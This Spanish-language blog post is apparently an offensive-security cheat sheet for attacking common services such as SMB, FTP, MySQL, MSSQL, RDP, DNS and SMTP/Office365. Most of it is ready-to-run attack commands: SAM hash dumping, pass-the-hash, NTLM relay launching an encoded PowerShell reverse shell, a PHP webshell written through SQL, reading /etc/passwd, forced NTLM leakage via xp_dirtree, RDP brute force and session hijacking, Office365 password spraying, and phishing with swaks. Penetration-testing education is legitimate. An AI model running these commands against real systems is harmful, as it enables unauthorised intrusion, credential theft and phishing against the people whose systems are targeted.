Ataques a Servicios Comunes (SMB, FTP, SQL, RDP, DNS, SMTP, …)

1. ¿Qué son los servicios comunes?

En redes corporativas o entornos de pruebas, hay una serie de servicios que aparecen con mucha frecuencia. Hablamos de SMB, FTP, SQL, RDP, DNS y SMTP, entre otros. Comprenderlos y saber explotarlos puede marcar la diferencia entre un intento fallido y una shell interactiva.


2. Concepto de Ataques: El Patrón Universal

Todo ataque se puede diseccionar en cuatro partes:

  1. Fuente (Source): Donde nace la información manipulada: entradas de usuario, librerías, APIs.
  2. Proceso (Process): Quién maneja esa información: código vulnerable, parsing incorrecto.
  3. Privilegios (Privileges): Con qué permisos se ejecuta el proceso.
  4. Destino (Destination): Qué se modifica o a qué se accede: red, disco, otro sistema.

Esta estructura la aplicamos en ataques como el de Log4Shell (CVE-2021-44228), donde el input en una cabecera HTTP llega a una librería (Log4j), se ejecuta con permisos elevados y termina contactando un servidor remoto controlado por el atacante.


3. Interacción con SMB

El protocolo SMB se usa mucho para compartir archivos. Puedes interactuar desde:

Windows CMD

net use n: \\192.168.220.129\Finance /user:plaintext Password123

Este comando monta el recurso compartido Finance en la unidad N: utilizando credenciales.

dir n:\*cred* /s /b

Busca archivos con la palabra «cred» en todo el recurso.

PowerShell

$secpassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('plaintext', $secpassword)
New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider FileSystem -Credential $cred

Esto monta el recurso SMB en PowerShell utilizando un objeto de credencial.

Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List

Busca la palabra «cred» dentro del contenido de archivos.

Linux

sudo mkdir /mnt/Finance
sudo mount -t cifs //192.168.220.129/Finance /mnt/Finance -o credentials=credfile

Monta el recurso compartido en Linux usando cifs-utils.

find /mnt/Finance/ -name *cred*
grep -rn /mnt/Finance/ -ie cred

Busca nombres de archivo o contenido con «cred».

Enumeración y Explotación

smbclient -N -L //10.129.14.128

Intenta una sesión nula para listar recursos compartidos.

smbmap -H 10.129.14.128
smbmap -H 10.129.14.128 -r notes
smbmap -H 10.129.14.128 --download "notes\note.txt"
smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"

Utiliza smbmap para enumerar, descargar y subir archivos compartidos.

rpcclient -U'%' 10.10.110.17

Abre una sesión nula con rpcclient.

./enum4linux-ng.py 10.10.11.45 -A -C

Enumeración automática con enum4linux-ng.

crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' --sam

Extrae hashes SAM.

crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE

Autenticación Pass-The-Hash.

impacket-psexec administrator:'Password123!'@10.10.110.17

Ejecución remota con psexec.

impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e <shellbase64>'

Relay NTLM y ejecución de reverse shell.


4. Atacando FTP

Enumeración

nmap -sC -sV -p 21 192.168.2.142

Escaneo con scripts y detección de versiones.

nc -v 192.168.2.142 21

Conexión manual al puerto FTP usando Netcat.

Conexión Anónima

ftp 192.168.2.142 #Escribimos como usuario "Anonymous" y ninguna password 

Fuerza Bruta

hydra -l user1 -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.142
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp

FTP Bounce

nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2

Escaneo usando rebote de FTP.

Explotación de vulnerabilidad CoreFTP (CVE-2022-22836)

curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops

Escritura arbitraria mediante path traversal en CoreFTP.


5. Atacando Bases de Datos SQL

MySQL

mysql -u julio -p Password123 -h 10.129.20.13

Nos conectamos al servidor MySQL especificando el usuario, la contraseña y la dirección del servidor.

SHOW DATABASES;

Este comando muestra todas las bases de datos disponibles.

USE davidalvkusers;

Seleccionamos la base de datos llamada davidalvkusers para comenzar a trabajar con sus tablas.

SHOW TABLES;

Muestra todas las tablas dentro de la base de datos seleccionada.

SELECT * FROM users;

Extrae todo el contenido de la tabla users, útil para descubrir nombres de usuario, contraseñas hasheadas u otros datos sensibles.

SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';

Crea un archivo PHP en el servidor con una webshell que permite ejecutar comandos arbitrarios desde el navegador.

SELECT LOAD_FILE("/etc/passwd");

Lee el contenido de archivos locales, como /etc/passwd, desde el servidor MySQL (si el usuario de la base de datos tiene permisos).

SHOW VARIABLES LIKE "secure_file_priv";

Verifica si hay restricciones de acceso a archivos mediante la variable secure_file_priv.

MSSQL

sqlcmd -S 10.129.20.13 -U julio -P 'Password123'

Conexión al servidor MSSQL desde la terminal utilizando sqlcmd con usuario y contraseña.

EXEC xp_cmdshell 'whoami';

Ejecuta el comando del sistema whoami desde SQL Server para saber en qué contexto de usuario se están ejecutando los procesos.

EXEC master..xp_dirtree '\\10.10.110.17\share\';

Fuerza al servidor a acceder a un recurso compartido. Esto puede provocar que se envíen hashes NTLM del servidor.

EXEC master..xp_subdirs '\\10.10.110.17\share\';

Similar a xp_dirtree, pero enfocado en obtener subdirectorios específicos.

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents;

Lee archivos locales desde el sistema del servidor MSSQL. Aquí se usa el archivo hosts como ejemplo.

SELECT srvname, isremote FROM sysservers;

Enumera los servidores vinculados, permitiendo identificar rutas para movimiento lateral.

EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS];

Ejecuta una consulta en un servidor vinculado, revelando nombre, versión, usuario y si es miembro del rol sysadmin.


6. Atacando RDP

crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'

Este comando utiliza Crowbar para hacer un ataque de password spraying contra RDP. Se prueba la misma contraseña (password123) para todos los usuarios del archivo users.txt.

hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Hydra intenta la contraseña password123 con cada nombre de usuario de usernames.txt, realizando un ataque de fuerza bruta.

rdesktop -u admin -p password123 192.168.2.143

Cliente RDP en Linux. Permite iniciar una sesión de escritorio remoto desde consola si se tienen credenciales válidas.

tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}

En Windows, tscon permite reconectar una sesión RDP a otra existente, útil para secuestrar sesiones activas si se tienen privilegios.

net start sessionhijack

Ejecuta un comando para iniciar un servicio de Windows. Aquí se usa uno llamado sessionhijack, hipotético o personalizado.

reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

Este comando de registro habilita autenticación con hash (Pass-The-Hash) para RDP desactivando la opción de “Administrador Restringido”.

xfreerdp /v:192.168.2.141 /u:admin /pth:A9FDFA038C4B75EBC76DC855DD74F0DA

Conexión a RDP usando xfreerdp y la técnica de Pass-The-Hash, sin necesidad de la contraseña en texto plano.


7. Atacando DNS

dig AXFR @ns1.davidalvk.com davidalvk.com

Este comando intenta una transferencia de zona completa (AXFR) desde el servidor DNS ns1.davidalvk.com. Si está mal configurado, puede revelar todos los registros DNS del dominio.

subfinder -d davidalvk.com -v

Herramienta que automatiza la búsqueda de subdominios pertenecientes al dominio objetivo (davidalvk.com), ideal para descubrimiento de superficie de ataque.

host support.davidalvk.com

Resuelve el nombre del host a una dirección IP. Útil para verificar si el subdominio existe y está activo.

8. Correo Electrónico (SMTP, POP3, Office365)

host -t MX microsoft.com

Consulta los registros MX del dominio microsoft.com para descubrir qué servidores manejan su correo.

dig mx davidalvk.com | grep "MX" | grep -v ";"

Usamos dig para obtener los registros MX del dominio davidalvk.com, filtrando el resultado.

host -t A mail1.davidalvk.com

Resuelve el nombre mail1.davidalvk.com a su dirección IP.

telnet 10.10.110.20 25

Conecta manualmente al puerto SMTP para probar comandos como HELO, VRFY, RCPT TO, etc.

smtp-user-enum -M RCPT -U userlist.txt -D davidalvk.com -t 10.129.203.7

Enumera usuarios válidos en un servidor SMTP enviando múltiples correos RCPT y observando las respuestas.

python3 o365spray.py --validate --domain msplaintext.xyz

Valida que el dominio msplaintext.xyz sea válido para realizar ataques a Office365.

python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz

Enumera cuentas válidas de Office365 a partir de una lista de nombres de usuario.

python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz

Password spraying sobre Office365, evitando bloqueos por cantidad y frecuencia de intentos.

hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3

Ataque de fuerza bruta contra un servidor POP3 local usando hydra.

swaks --from notifications@davidalvk.com --to employees@davidalvk.com --header 'Subject: Notification' --body 'Message' --server 10.10.11.213

Envía un correo desde línea de comandos usando swaks, ideal para comprobar la configuración de servidores SMTP o realizar phishing.


9. Conclusión

En el mundo de la seguridad ofensiva, el conocimiento profundo de los servicios y sus posibles puntos de entrada es clave. Cada protocolo tiene su historia, su forma de caer, y su valor. Sigue explorando, sigue practicando, y sobre todo, ¡sigue explotando!

Comparte esta Publicación en Redes Sociales